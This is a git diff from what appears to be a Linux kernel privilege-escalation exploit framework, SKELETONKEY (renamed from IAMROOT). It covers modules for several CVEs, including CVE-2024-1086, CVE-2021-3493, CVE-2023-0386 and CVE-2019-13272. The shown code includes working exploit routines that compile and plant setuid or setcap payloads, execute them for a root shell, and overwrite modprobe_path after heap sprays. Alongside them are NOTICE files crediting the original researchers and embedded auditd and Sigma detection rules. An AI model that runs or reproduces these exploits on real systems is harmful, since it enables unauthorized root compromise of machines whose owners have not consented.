* - call nft_arb_write(modprobe_path, "/tmp/skeletonkey-mp-...", N)
* which re-fires the trigger and sprays forged pipapo elems
* - execve() the trigger binary to invoke modprobe
* - poll for the setuid sentinel, and spawn a root shell. */
struct nft_arb_ctx ac = {
.in_userns = true,
.sock = sock,
.batch = batch,
.qids = qids,
.qcap = (int)(sizeof qids / sizeof qids[0]),
.qused = SPRAY_MSGS / 2,
};
skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(&off,
nft_arb_write, &ac, !ctx->no_shell);
drain_spray(qids, ac.qused);
free(batch);
close(sock);
return r;
}
#endif
/* --- primitive-only path: fork-isolated trigger -------------- *
* Fork: child enters userns+netns and fires the bug. If the
* kernel panics on KASAN we don't want our parent process to be
* the one that takes the hit. */
pid_t child = fork();
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* --- CHILD --- */
@@ -765,7 +1040,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
"fired (KASAN/oops can manifest as child signal)\n",
WTERMSIG(status));
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
@@ -779,20 +1054,20 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
" cross-cache groom + modprobe_path overwrite\n"
" from github.com/Notselwyn/CVE-2024-1086.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (rc >= 20 && rc <= 25) {
if (!ctx->json) {
fprintf(stderr, "[-] nf_tables: trigger setup failed (child rc=%d)\n", rc);
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[-] nf_tables: unexpected child rc=%d\n", rc);
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
/* ----- Embedded detection rules ----- */
@@ -802,15 +1077,15 @@ static const char nf_tables_auditd[] =
"# Flag unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by nft socket setup.\n"
"# This is the canonical exploit shape; legitimate userns + nft use\n"
"# (e.g. firewalld, docker rootless) will also trip — tune per env.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-nf-tables-userns\n"
"-a always,exit -F arch=b32 -S unshare -k iamroot-nf-tables-userns\n"
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nf-tables-userns\n"
"-a always,exit -F arch=b32 -S unshare -k skeletonkey-nf-tables-userns\n"
"# Also watch for the canonical post-exploit primitives: modprobe_path\n"
"# overwrite OR setresuid(0,0,0) on a previously-non-root process.\n"
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k iamroot-nf-tables-priv\n";
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nf-tables-priv\n";
static const char nf_tables_sigma[] =
"title: Possible CVE-2024-1086 nf_tables UAF exploitation\n"
"id: a72b5e91-iamroot-nf-tables\n"
"id: a72b5e91-skeletonkey-nf-tables\n"
"status: experimental\n"
"description: |\n"
" Detects the canonical exploit shape: unprivileged user creating a\n"
@@ -832,7 +1107,7 @@ static const char nf_tables_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2024.1086]\n";
const struct iamroot_module nf_tables_module = {
const struct skeletonkey_module nf_tables_module = {
.name = "nf_tables",
.cve = "CVE-2024-1086",
.summary = "nf_tables nft_verdict_init UAF (cross-cache) → arbitrary kernel R/W",
@@ -848,7 +1123,7 @@ const struct iamroot_module nf_tables_module = {
.detect_falco = NULL,
};
void iamroot_register_nf_tables(void)
void skeletonkey_register_nf_tables(void)
{
iamroot_register(&nf_tables_module);
skeletonkey_register(&nf_tables_module);
}
@@ -0,0 +1,12 @@
/*
* nf_tables_cve_2024_1086 — SKELETONKEY module registry hook
*/
#ifndef NF_TABLES_SKELETONKEY_MODULES_H
#define NF_TABLES_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module nf_tables_module;
#endif
@@ -0,0 +1,28 @@
# NOTICE — nft_fwd_dup (CVE-2022-25636)
## Vulnerability
**CVE-2022-25636**`nft_fwd_dup_netdev_offload` writes
`flow->rule->action.entries[ctx->num_actions]` without bounds-checking
against the allocated array size → heap OOB write in kmalloc-512.
## Research credit
Discovered and disclosed by **Aaron Adams** (NCC Group),
February 2022.
Original writeup:
<https://research.nccgroup.com/2022/03/02/exploit-engineering-attacking-the-linux-kernel/>
Upstream fix: mainline 5.17 (commit `fa54fee62954`, Feb 2022).
Branch backports: 5.16.11 / 5.15.25 / 5.10.102 / 5.4.181.
## SKELETONKEY role
userns+netns reach. Hand-rolled nfnetlink batch: NEWTABLE →
NEWCHAIN with `NFT_CHAIN_HW_OFFLOAD` → NEWRULE with 16 immediates
+ fwd, overruning `action.entries[1]`. msg_msg cross-cache groom
into kmalloc-512 with `SKELETONKEY_FWD` tags.
`--full-chain` extends with stride-seeded forged action_entry
overwrite aimed at modprobe_path via the shared finisher.
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,12 @@
/*
* nft_fwd_dup_cve_2022_25636 — SKELETONKEY module registry hook
*/
#ifndef NFT_FWD_DUP_SKELETONKEY_MODULES_H
#define NFT_FWD_DUP_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module nft_fwd_dup_module;
#endif
@@ -0,0 +1,36 @@
# NOTICE — nft_payload (CVE-2023-0179)
## Vulnerability
**CVE-2023-0179**`nft_payload` set/get uses `regs->verdict.code`
as an index into `regs->data[]` without bounds-checking; combined
with the variable-length element extension trick (NFTA_SET_DESC
describing elements larger than the key/data slots), an attacker
walks regs off either end → OOB R/W on adjacent kernel memory.
## Research credit
Discovered and disclosed by **Davide Ornaghi**, January 2023.
Original slides + writeup:
<https://github.com/davide-romanini/CVE-2023-0179>
+ DEF CON 31 / SecurityFest 2023 presentations.
Upstream fix: mainline 6.2-rc4 (commit `696e1a48b1a1`, Jan 2023).
Branch backports: 4.14.302 / 4.19.269 / 5.4.229 / 5.10.163 /
5.15.88 / 6.1.6.
## SKELETONKEY role
userns+netns. Hand-rolled nfnetlink batch: NEWTABLE → NEWCHAIN →
NEWSET with `NFTA_SET_DESC` describing variable-length elements →
NEWSETELEM with `NFTA_SET_ELEM_EXPRESSIONS` carrying a payload-set
whose attacker-controlled `verdict.code` drives the OOB index.
Dual cg-96 + 1k msg_msg spray (covers both common adjacency
scenarios). `--full-chain` extends with kaddr-tagged refire aimed
at modprobe_path via the shared finisher.
Default OOB index `0x100` matches Ornaghi's PoC on a stock 5.15
build; the sentinel post-check correctly reports failure on builds
where regs->data adjacency differs.
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,12 @@
/*
* nft_payload_cve_2023_0179 — SKELETONKEY module registry hook
*/
#ifndef NFT_PAYLOAD_SKELETONKEY_MODULES_H
#define NFT_PAYLOAD_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module nft_payload_module;
#endif
@@ -0,0 +1,33 @@
# NOTICE — nft_set_uaf (CVE-2023-32233)
## Vulnerability
**CVE-2023-32233** — nf_tables anonymous-set deactivation skip →
slab UAF on the freed `nft_set` object exploitable via msg_msg
cross-cache groom in kmalloc-cg-512.
## Research credit
Discovered and disclosed by **Patryk Sondej** and **Piotr Krysiuk**,
May 2023.
Original advisory + writeup distributed via the OSS-Security list
and an accompanying Google Drive PoC.
Follow-up exploit and Crusaders-of-Rust analysis built on the
public trigger.
Upstream fix: mainline 6.4-rc4 (commit `c1592a89942e9`, May 2023).
Branch backports: 6.3.2 / 6.2.15 / 6.1.28 / 5.15.111 / 5.10.180 /
5.4.243 / 4.19.283.
## SKELETONKEY role
Hand-rolled nfnetlink batch: NEWTABLE → NEWCHAIN (base, LOCAL_OUT
hook) → NEWSET (ANON|EVAL|CONSTANT) → NEWRULE (nft_lookup
referencing the set by `NFTA_LOOKUP_SET_ID`) → DELSET → DELRULE
in the same transaction. msg_msg cg-512 spray with `SKELETONKEY_SET`
tags.
`--full-chain` forges a freed-set with `set->data = kaddr` at the
Sondej/Krysiuk reference offset (0x30) and drives a NEWSETELEM with
the modprobe_path payload bytes via the shared finisher.
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,12 @@
/*
* nft_set_uaf_cve_2023_32233 SKELETONKEY module registry hook
*/
#ifndef NFT_SET_UAF_SKELETONKEY_MODULES_H
#define NFT_SET_UAF_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module nft_set_uaf_module;
#endif
+25
View File
@@ -0,0 +1,25 @@
# NOTICE — overlayfs (CVE-2021-3493)
## Vulnerability
**CVE-2021-3493** — Ubuntu overlayfs userns file-capability injection
→ host root via setcap'd binaries in a userns-mounted overlay.
## Research credit
Reported by **Vasily Kulikov**, April 2021. Ubuntu-specific because
upstream didn't enable unprivileged userns-overlayfs-mount until 5.11.
Advisory: USN-4915-1 / USN-4916-1 (Canonical, April 2021).
Public PoC: vsh-style userns + overlayfs + xattr injection chain.
## SKELETONKEY role
Detect parses `/etc/os-release` for `ID=ubuntu`, checks
`unprivileged_userns_clone` sysctl, and with `--active` performs the
mount as a fork-isolated probe. The full exploit performs the
userns+overlayfs mount, plants a setcap'd carrier binary in the
upper layer, and execs it from the unprivileged side to obtain root
on the host. Ships auditd rules covering `mount(overlay)` and
`setxattr(security.capability)`.
@@ -1,12 +0,0 @@
/*
* overlayfs_cve_2021_3493 IAMROOT module registry hook
*/
#ifndef OVERLAYFS_IAMROOT_MODULES_H
#define OVERLAYFS_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module overlayfs_module;
#endif
@@ -1,5 +1,5 @@
/*
* overlayfs_cve_2021_3493 IAMROOT module
* overlayfs_cve_2021_3493 SKELETONKEY module
*
* Ubuntu-flavor overlayfs lets an unprivileged user mount overlayfs
* inside a user namespace, then set file capabilities on a file in
@@ -30,12 +30,12 @@
* 1. /etc/os-release distro == ubuntu (the bug is Ubuntu-specific)
* 2. Kernel version is below the Ubuntu fix threshold for that
* release. We don't track per-release Ubuntu kernel version
* maps in IAMROOT yet; report VULNERABLE if Ubuntu kernel
* maps in SKELETONKEY yet; report VULNERABLE if Ubuntu kernel
* AND uname() version < 5.11 AND unprivileged_userns_clone=1
* AND overlayfs mountable from userns (active probe).
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
@@ -94,7 +94,7 @@ static int overlayfs_mount_probe(void)
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) _exit(2);
/* Build a minimal overlayfs in /tmp inside the child. */
char base[] = "/tmp/iamroot-ovl-XXXXXX";
char base[] = "/tmp/skeletonkey-ovl-XXXXXX";
if (!mkdtemp(base)) _exit(3);
char low[512], up[512], wd[512], mp[512];
@@ -119,12 +119,12 @@ static int overlayfs_mount_probe(void)
return WEXITSTATUS(status) == 0 ? 1 : 0;
}
static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t overlayfs_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] overlayfs: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Ubuntu-specific bug. Non-Ubuntu kernels are largely immune
@@ -134,7 +134,7 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] overlayfs: not Ubuntu — bug is Ubuntu-specific\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* unprivileged_userns_clone gate */
@@ -144,7 +144,7 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] overlayfs: unprivileged_userns_clone=0 → "
"unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
@@ -161,14 +161,14 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[!] overlayfs: ACTIVE PROBE CONFIRMED — "
"userns overlayfs mount succeeded → VULNERABLE\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
if (probe == 0) {
if (!ctx->json) {
fprintf(stderr, "[+] overlayfs: active probe denied mount — "
"likely patched / AppArmor block\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[?] overlayfs: active probe machinery failed\n");
@@ -185,14 +185,14 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[!] overlayfs: Ubuntu kernel %s in vulnerable range — "
"re-run with --active to confirm\n", v.release);
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
if (!ctx->json) {
fprintf(stderr, "[+] overlayfs: Ubuntu kernel %s is newer than typical "
"affected range\n", v.release);
fprintf(stderr, "[i] overlayfs: re-run with --active to empirically test\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* ---- Exploit (vsh-style) ----------------------------------------
@@ -278,28 +278,28 @@ static bool which_gcc(char *out_path, size_t outsz)
return false;
}
static iamroot_result_t overlayfs_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t overlayfs_exploit(const struct skeletonkey_ctx *ctx)
{
/* Re-confirm vulnerable. */
iamroot_result_t pre = overlayfs_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = overlayfs_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] overlayfs: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] overlayfs: already root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
char workdir[] = "/tmp/iamroot-ovl-XXXXXX";
if (!mkdtemp(workdir)) { perror("mkdtemp"); return IAMROOT_TEST_ERROR; }
char workdir[] = "/tmp/skeletonkey-ovl-XXXXXX";
if (!mkdtemp(workdir)) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
if (!ctx->json) fprintf(stderr, "[*] overlayfs: workdir = %s\n", workdir);
char gcc[256];
if (!which_gcc(gcc, sizeof gcc)) {
fprintf(stderr, "[-] overlayfs: no gcc/cc — exploit needs to compile a payload\n");
rmdir(workdir);
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
char src_path[1100], bin_path[1100];
@@ -307,10 +307,10 @@ static iamroot_result_t overlayfs_exploit(const struct iamroot_ctx *ctx)
snprintf(bin_path, sizeof bin_path, "%s/payload", workdir);
int fd = open(src_path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd < 0) { perror("open payload.c"); rmdir(workdir); return IAMROOT_TEST_ERROR; }
if (fd < 0) { perror("open payload.c"); rmdir(workdir); return SKELETONKEY_TEST_ERROR; }
if (write(fd, OVERLAYFS_PAYLOAD_SOURCE, sizeof(OVERLAYFS_PAYLOAD_SOURCE) - 1)
!= (ssize_t)(sizeof(OVERLAYFS_PAYLOAD_SOURCE) - 1)) {
close(fd); unlink(src_path); rmdir(workdir); return IAMROOT_TEST_ERROR;
close(fd); unlink(src_path); rmdir(workdir); return SKELETONKEY_TEST_ERROR;
}
close(fd);
@@ -432,7 +432,7 @@ static iamroot_result_t overlayfs_exploit(const struct iamroot_ctx *ctx)
if (ctx->no_shell) {
fprintf(stderr, "[+] overlayfs: --no-shell — payload at %s, not exec'ing\n",
upper_bin);
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
fflush(NULL);
execl(upper_bin, upper_bin, (char *)NULL);
@@ -443,7 +443,7 @@ fail_workdir:
unlink(src_path); unlink(bin_path); unlink(upper_bin);
rmdir(merged); rmdir(work); rmdir(upper); rmdir(lower);
rmdir(workdir);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
/* ----- Embedded detection rules ----- */
@@ -451,12 +451,12 @@ fail_workdir:
static const char overlayfs_auditd[] =
"# overlayfs userns LPE (CVE-2021-3493) — auditd detection rules\n"
"# Flag userns-clone followed by overlayfs mount + setcap-like xattr.\n"
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k iamroot-overlayfs\n"
"-a always,exit -F arch=b32 -S mount -F a2=overlay -k iamroot-overlayfs\n"
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
"-a always,exit -F arch=b32 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
"# Watch for security.capability xattr writes (the post-mount step)\n"
"-a always,exit -F arch=b64 -S setxattr,fsetxattr,lsetxattr -k iamroot-overlayfs-cap\n";
"-a always,exit -F arch=b64 -S setxattr,fsetxattr,lsetxattr -k skeletonkey-overlayfs-cap\n";
const struct iamroot_module overlayfs_module = {
const struct skeletonkey_module overlayfs_module = {
.name = "overlayfs",
.cve = "CVE-2021-3493",
.summary = "Ubuntu userns-overlayfs file-capability injection → host root",
@@ -473,7 +473,7 @@ const struct iamroot_module overlayfs_module = {
.detect_falco = NULL,
};
void iamroot_register_overlayfs(void)
void skeletonkey_register_overlayfs(void)
{
iamroot_register(&overlayfs_module);
skeletonkey_register(&overlayfs_module);
}
@@ -0,0 +1,12 @@
/*
* overlayfs_cve_2021_3493 SKELETONKEY module registry hook
*/
#ifndef OVERLAYFS_SKELETONKEY_MODULES_H
#define OVERLAYFS_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module overlayfs_module;
#endif
@@ -0,0 +1,25 @@
# NOTICE — overlayfs_setuid (CVE-2023-0386)
## Vulnerability
**CVE-2023-0386** — overlayfs `copy_up` preserves the setuid bit
across mount-namespace boundaries → host root via a setuid carrier
placed in the lower layer.
## Research credit
Discovered and disclosed by **Xkaneiki**, January 2023.
Public PoC + writeup:
<https://github.com/xkaneiki/CVE-2023-0386>
Upstream fix: mainline 6.2-rc6 (commit `4f11ada10d0a`, Jan 2023).
Branch backports: 5.10.169 / 5.15.92 / 6.1.11.
## SKELETONKEY role
Distro-agnostic — no per-kernel offsets, no race. Places a setuid
binary in an overlay lower, mounts via fuse-overlayfs userns trick,
executes from the upper layer to inherit the setuid bit + root euid.
Auditd rules cover overlayfs mounts and unexpected setuid copy-ups.
@@ -1,12 +0,0 @@
/*
* overlayfs_setuid_cve_2023_0386 IAMROOT module registry hook
*/
#ifndef OVERLAYFS_SETUID_IAMROOT_MODULES_H
#define OVERLAYFS_SETUID_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module overlayfs_setuid_module;
#endif
@@ -1,5 +1,5 @@
/*
* overlayfs_setuid_cve_2023_0386 IAMROOT module
* overlayfs_setuid_cve_2023_0386 SKELETONKEY module
*
* **Different bug than CVE-2021-3493.** That one was Ubuntu-specific
* (their modified overlayfs). This one is upstream: when overlayfs
@@ -38,7 +38,7 @@
* for any distro running 5.11-6.2 kernels. Container-escape relevant.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
@@ -96,12 +96,12 @@ static const char *find_setuid_in_lower(void)
return NULL;
}
static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t overlayfs_setuid_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] overlayfs_setuid: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 5.11 when ovl copy-up was generalized.
@@ -111,7 +111,7 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] overlayfs_setuid: kernel %s predates the bug "
"(introduced in 5.11)\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&overlayfs_setuid_range, &v);
@@ -119,7 +119,7 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] overlayfs_setuid: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns_mount();
@@ -134,7 +134,7 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] overlayfs_setuid: user_ns denied → unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
const char *target = find_setuid_in_lower();
@@ -142,13 +142,13 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[?] overlayfs_setuid: no setuid binary found in standard paths\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] overlayfs_setuid: VULNERABLE — exploit target = %s\n", target);
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Embedded payload + exploit ---------------------------------- */
@@ -190,16 +190,16 @@ static bool write_file_str(const char *path, const char *content)
return ok;
}
static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ctx *ctx)
{
iamroot_result_t pre = overlayfs_setuid_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = overlayfs_setuid_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] overlayfs_setuid: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] overlayfs_setuid: already root\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Pick a setuid binary to use as the carrier — we'll find its
@@ -209,20 +209,20 @@ static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx)
const char *carrier = find_setuid_in_lower();
if (!carrier) {
fprintf(stderr, "[-] overlayfs_setuid: no setuid carrier binary found\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
/* For cleanliness, use a directory-level overlay. Find the carrier's
* dirname. (E.g., /usr/bin/su lower = /usr/bin/, file = su) */
char carrier_dir[256], carrier_name[64];
const char *slash = strrchr(carrier, '/');
if (!slash) return IAMROOT_PRECOND_FAIL;
if (!slash) return SKELETONKEY_PRECOND_FAIL;
size_t dir_len = slash - carrier;
memcpy(carrier_dir, carrier, dir_len);
carrier_dir[dir_len] = 0;
snprintf(carrier_name, sizeof carrier_name, "%s", slash + 1);
char workdir[] = "/tmp/iamroot-ovlsu-XXXXXX";
if (!mkdtemp(workdir)) { perror("mkdtemp"); return IAMROOT_TEST_ERROR; }
char workdir[] = "/tmp/skeletonkey-ovlsu-XXXXXX";
if (!mkdtemp(workdir)) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
if (!ctx->json) {
fprintf(stderr, "[*] overlayfs_setuid: workdir=%s carrier=%s\n",
workdir, carrier);
@@ -232,7 +232,7 @@ static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx)
if (!which_gcc(gcc, sizeof gcc)) {
fprintf(stderr, "[-] overlayfs_setuid: no gcc/cc available\n");
rmdir(workdir);
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
/* Build the payload binary outside the overlay. */
@@ -348,7 +348,7 @@ static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx)
if (ctx->no_shell) {
fprintf(stderr, "[+] overlayfs_setuid: --no-shell — file planted at %s\n",
upper_carrier);
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
fflush(NULL);
execl(upper_carrier, upper_carrier, (char *)NULL);
@@ -358,26 +358,26 @@ fail:
unlink(src_path); unlink(bin_path);
rmdir(upper); rmdir(work); rmdir(merged);
rmdir(workdir);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
static iamroot_result_t overlayfs_setuid_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t overlayfs_setuid_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
if (!ctx->json) {
fprintf(stderr, "[*] overlayfs_setuid: removing /tmp/iamroot-ovlsu-*\n");
fprintf(stderr, "[*] overlayfs_setuid: removing /tmp/skeletonkey-ovlsu-*\n");
}
if (system("rm -rf /tmp/iamroot-ovlsu-* 2>/dev/null") != 0) { /* harmless */ }
return IAMROOT_OK;
if (system("rm -rf /tmp/skeletonkey-ovlsu-* 2>/dev/null") != 0) { /* harmless */ }
return SKELETONKEY_OK;
}
static const char overlayfs_setuid_auditd[] =
"# overlayfs setuid copy-up (CVE-2023-0386) — auditd detection rules\n"
"# Same surface as CVE-2021-3493; share the iamroot-overlayfs key.\n"
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k iamroot-overlayfs\n"
"-a always,exit -F arch=b64 -S chown,fchown,fchownat -k iamroot-overlayfs-chown\n";
"# Same surface as CVE-2021-3493; share the skeletonkey-overlayfs key.\n"
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
"-a always,exit -F arch=b64 -S chown,fchown,fchownat -k skeletonkey-overlayfs-chown\n";
const struct iamroot_module overlayfs_setuid_module = {
const struct skeletonkey_module overlayfs_setuid_module = {
.name = "overlayfs_setuid",
.cve = "CVE-2023-0386",
.summary = "overlayfs copy-up preserves setuid bit → host root via setuid carrier",
@@ -393,7 +393,7 @@ const struct iamroot_module overlayfs_setuid_module = {
.detect_falco = NULL,
};
void iamroot_register_overlayfs_setuid(void)
void skeletonkey_register_overlayfs_setuid(void)
{
iamroot_register(&overlayfs_setuid_module);
skeletonkey_register(&overlayfs_setuid_module);
}
@@ -0,0 +1,12 @@
/*
* overlayfs_setuid_cve_2023_0386 SKELETONKEY module registry hook
*/
#ifndef OVERLAYFS_SETUID_SKELETONKEY_MODULES_H
#define OVERLAYFS_SETUID_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module overlayfs_setuid_module;
#endif
@@ -0,0 +1,27 @@
# NOTICE — ptrace_traceme (CVE-2019-13272)
## Vulnerability
**CVE-2019-13272** — `PTRACE_TRACEME` on a parent that subsequently
execve's a setuid binary leaves the now-elevated process traceable by
the unprivileged child → cred escalation via ptrace shellcode inject.
## Research credit
Discovered by **Jann Horn** (Google Project Zero), June 2019.
Project Zero issue: <https://bugs.chromium.org/p/project-zero/issues/detail?id=1903>
Upstream fix: mainline 5.1.17 (commit `6994eefb0053`, June 2019).
Branch backports: 4.4.182 / 4.9.182 / 4.14.131 / 4.19.58 / 5.0.20 / 5.1.17.
## SKELETONKEY role
Full jannh-style chain: fork → child `PTRACE_TRACEME` → child
sleep+attach → parent `execve` setuid bin (pkexec/su/passwd
auto-selected) → child wins stale `ptrace_link` → POKETEXT x86_64
shellcode → root sh.
x86_64-only; ARM/other archs return PRECOND_FAIL cleanly. No exotic
preconditions — doesn't need userns. Works on default-config systems
including locked-down environments without unprivileged_userns_clone.
@@ -1,12 +0,0 @@
/*
* ptrace_traceme_cve_2019_13272 IAMROOT module registry hook
*/
#ifndef PTRACE_TRACEME_IAMROOT_MODULES_H
#define PTRACE_TRACEME_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module ptrace_traceme_module;
#endif
@@ -1,5 +1,5 @@
/*
* ptrace_traceme_cve_2019_13272 IAMROOT module
* ptrace_traceme_cve_2019_13272 SKELETONKEY module
*
* PTRACE_TRACEME on a parent that subsequently execve's a setuid
* binary results in the kernel granting ptrace privileges over the
@@ -26,7 +26,7 @@
* vulnerable.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
@@ -61,12 +61,12 @@ static const struct kernel_range ptrace_traceme_range = {
sizeof(ptrace_traceme_patched_branches[0]),
};
static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t ptrace_traceme_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] ptrace_traceme: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug existed since ptrace's inception (early 2.x); anything
@@ -77,7 +77,7 @@ static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[!] ptrace_traceme: ancient kernel %s — assume VULNERABLE\n",
v.release);
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
bool patched = kernel_range_is_patched(&ptrace_traceme_range, &v);
@@ -85,14 +85,14 @@ static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] ptrace_traceme: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] ptrace_traceme: kernel %s in vulnerable range\n", v.release);
fprintf(stderr, "[i] ptrace_traceme: no exotic preconditions — works on default config "
"(no user_ns required)\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit (jannh-style) --------------------------------------
